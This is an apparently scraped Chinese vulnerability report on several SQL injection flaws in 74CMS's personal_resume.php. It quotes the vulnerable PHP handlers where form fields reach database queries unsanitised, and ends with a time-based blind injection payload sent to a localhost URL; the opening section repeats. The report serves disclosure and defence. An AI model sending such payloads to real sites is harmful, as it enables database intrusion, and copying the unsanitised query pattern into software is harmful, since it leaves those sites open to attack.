### 简要描述： 74CMS最新版SQL注入（同一文件多处） ### 详细说明： user/personal/personal_resume.php文件： 第一处SQL注入： ``` //创建简历 -保存基本信息 elseif ($act=='make1_save') { $captcha=get_cache('captcha'); $postcaptcha = trim($_POST['postcaptcha']); if($captcha['verify_resume']=='1' && empty($postcaptcha) && intval($_REQUEST['pid'])===0) { showmsg("请填写验证码",1); } if ($captcha['verify_resume']=='1' && intval($_REQUEST['pid'])===0 && strcasecmp($_SESSION['imageCaptcha_content'],$postcaptcha)!=0) { showmsg("验证码错误",1); } $setsqlarr['uid']=intval($_SESSION['uid']); $setsqlarr['title']=trim($_POST['title'])?trim($_POST['title']):showmsg('请填写简历名称！',1); $setsqlarr['fullname']=trim($_POST['fullname'])?trim($_POST['fullname']):showmsg('请填写姓名！',1); $setsqlarr['sex']=trim($_POST['sex'])?intval($_POST['sex']):showmsg('请选择性别！',1); $setsqlarr['sex_cn']=trim($_POST['sex_cn']); $setsqlarr['birthdate']=intval($_POST['birthdate'])>1945?intval($_POST['birthdate']):showmsg('请正确填写出生年份',1); $setsqlarr['height']=intval($_POST['height']);...
### 简要描述： 74CMS最新版SQL注入（同一文件多处） ### 详细说明： user/personal/personal_resume.php文件： 第一处SQL注入： ``` //创建简历 -保存基本信息 elseif ($act=='make1_save') { $captcha=get_cache('captcha'); $postcaptcha = trim($_POST['postcaptcha']); if($captcha['verify_resume']=='1' && empty($postcaptcha) && intval($_REQUEST['pid'])===0) { showmsg("请填写验证码",1); } if ($captcha['verify_resume']=='1' && intval($_REQUEST['pid'])===0 && strcasecmp($_SESSION['imageCaptcha_content'],$postcaptcha)!=0) { showmsg("验证码错误",1); } $setsqlarr['uid']=intval($_SESSION['uid']); $setsqlarr['title']=trim($_POST['title'])?trim($_POST['title']):showmsg('请填写简历名称！',1); $setsqlarr['fullname']=trim($_POST['fullname'])?trim($_POST['fullname']):showmsg('请填写姓名！',1); $setsqlarr['sex']=trim($_POST['sex'])?intval($_POST['sex']):showmsg('请选择性别！',1); $setsqlarr['sex_cn']=trim($_POST['sex_cn']); $setsqlarr['birthdate']=intval($_POST['birthdate'])>1945?intval($_POST['birthdate']):showmsg('请正确填写出生年份',1); $setsqlarr['height']=intval($_POST['height']); $setsqlarr['marriage']=intval($_POST['marriage']); $setsqlarr['marriage_cn']=trim($_POST['marriage_cn']); $setsqlarr['experience']=intval($_POST['experience']); $setsqlarr['experience_cn']=trim($_POST['experience_cn']); $setsqlarr['householdaddress']=trim($_POST['householdaddress'])?trim($_POST['householdaddress']):showmsg('请填写户口所在地！',1); $setsqlarr['education']=intval($_POST['education']); $setsqlarr['education_cn']=trim($_POST['education_cn']); $setsqlarr['tag']=trim($_POST['tag']); $setsqlarr['telephone']=trim($_POST['telephone'])?trim($_POST['telephone']):showmsg('请填写联系电话！',1); $setsqlarr['email']=$user['email']; $setsqlarr['email_notify']=$_POST['email_notify']=="1"?1:0; $setsqlarr['address']=trim($_POST['address'])?trim($_POST['address']):showmsg('请填写通讯地址！',1); $setsqlarr['website']=trim($_POST['website']); $setsqlarr['qq']=trim($_POST['qq']); $setsqlarr['refreshtime']=$timestamp; $setsqlarr['subsite_id']=intval($_CFG['subsite_id']); $setsqlarr['display_name']=intval($_CFG['resume_privacy']); if (intval($_REQUEST['pid'])===0) { $setsqlarr['audit']=intval($_CFG['audit_resume']); $total[0]=$db->get_total("SELECT COUNT(*) AS num FROM ".table('resume')." WHERE uid='{$_SESSION['uid']}'"); $total[1]=$db->get_total("SELECT COUNT(*) AS num FROM ".table('resume_tmp')." WHERE uid='{$_SESSION['uid']}'"); $total[2]=$total[0]+$total[1]; if ($total[2]>=intval($_CFG['resume_max'])) { showmsg("您最多可以创建{$_CFG['resume_max']} 份简历,已经超出了最大限制！",1); } else { $setsqlarr['addtime']=$timestamp; $pid=inserttable(table('resume'),$setsqlarr,1); if (empty($pid))showmsg("保存失败！",0); check_resume($_SESSION['uid'],$pid); write_memberslog($_SESSION['uid'],2,1101,$_SESSION['username'],"创建了简历"); header("Location: ?act=make2&pid=".$pid); } } ``` fullname存在注入 [<img src="https://images.seebug.org/upload/201405/191735213cfb355cb7ebcca4c27afd19867a53a6.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/191735213cfb355cb7ebcca4c27afd19867a53a6.png) 第二处SQL注入： ``` elseif ($act=='make3_save') { if (intval($_POST['pid'])==0 ) showmsg('参数错误！',1); $setsqlarrspecialty['specialty']=!empty($_POST['specialty'])?$_POST['specialty']:showmsg('请填写您的技能特长！',1); $_CFG['audit_edit_resume']!="-1"?$setsqlarrspecialty['audit']=intval($_CFG['audit_edit_resume']):""; updatetable(table('resume'),$setsqlarrspecialty," id='".intval($_POST['pid'])."' AND uid='".intval($_SESSION['uid'])."'"); updatetable(table('resume_tmp'),$setsqlarrspecialty," id='".intval($_POST['pid'])."' AND uid='".intval($_SESSION['uid'])."'"); check_resume($_SESSION['uid'],intval($_REQUEST['pid'])); if ($_POST['go_resume_show']) { header("Location: ?act=resume_show&pid={$_POST['pid']}"); } else { header("Location: ?act=make4&pid=".intval($_POST['pid'])); } } ``` specialty存在SQL注入 [<img src="https://images.seebug.org/upload/201405/19173637791c5909790e72b57faaf93e4757e228.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/19173637791c5909790e72b57faaf93e4757e228.png) 第三处SQL注入 ``` //创建简历-保存教育经历 elseif ($act=='make4_save') { $resume_education=get_resume_education($_SESSION['uid'],$_REQUEST['pid']); if (count($resume_education)>=6) showmsg('教育经历不能超过6条！',1,$link); $setsqlarr['uid']=intval($_SESSION['uid']); $setsqlarr['pid']=intval($_REQUEST['pid']); if ($setsqlarr['uid']==0 || $setsqlarr['pid']==0 ) showmsg('参数错误！',1); $setsqlarr['start']=trim($_POST['start'])?$_POST['start']:showmsg('请填写开始时间！',1,$link); $setsqlarr['endtime']=trim($_POST['endtime'])?$_POST['endtime']:showmsg('请填写结束时间！',1,$link); $setsqlarr['school']=trim($_POST['school'])?$_POST['school']:showmsg('请填写学校名称！',1,$link); $setsqlarr['speciality']=trim($_POST['speciality'])?$_POST['speciality']:showmsg('请填写专业名称！',1,$link); $setsqlarr['education']=trim($_POST['education'])?$_POST['education']:showmsg('请选择获得学历！',1,$link); $setsqlarr['education_cn']=trim($_POST['education_cn'])?$_POST['education_cn']:showmsg('请选择获得学历！',1,$link); if (inserttable(table('resume_education'),$setsqlarr)) { check_resume($_SESSION['uid'],intval($_REQUEST['pid'])); if ($_POST['go_resume_show']) { header("Location: ?act=resume_show&pid={$setsqlarr['pid']}"); } else { $link[0]['text'] = "继续添加教育经历"; $link[0]['href'] = '?act=make4&pid='.intval($_REQUEST['pid']); $link[1]['text'] = "跳到下一步"; $link[1]['href'] = '?act=make5&pid='.intval($_REQUEST['pid']); $link[2]['text'] = "查看我的教育经历"; $link[2]['href'] = '?act=make4&pid='.intval($_REQUEST['pid']); showmsg("添加成功,您可以继续添加教育经历或跳到下一步 ",2,$link,true,15); } } else { showmsg("保存失败！",0,$link); } } ``` 参数speciality存在注入 [<img src="https://images.seebug.org/upload/201405/1917434788c30997b966f282f7a0056a5f6a4f8b.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/1917434788c30997b966f282f7a0056a5f6a4f8b.png) ### 漏洞证明： 以第二处SQL注入为例： ``` 链接：http://localhost/74cms/user/personal/personal_resume.php?act=make3_save POST：specialty=123123123' WHERE uid='1' AND id='1' And if(mid(user(),1,1)='r',sleep(5),1)#&pid=1&go_resume_show=1 ``` 当user()第一个字符为r时，延迟5秒。
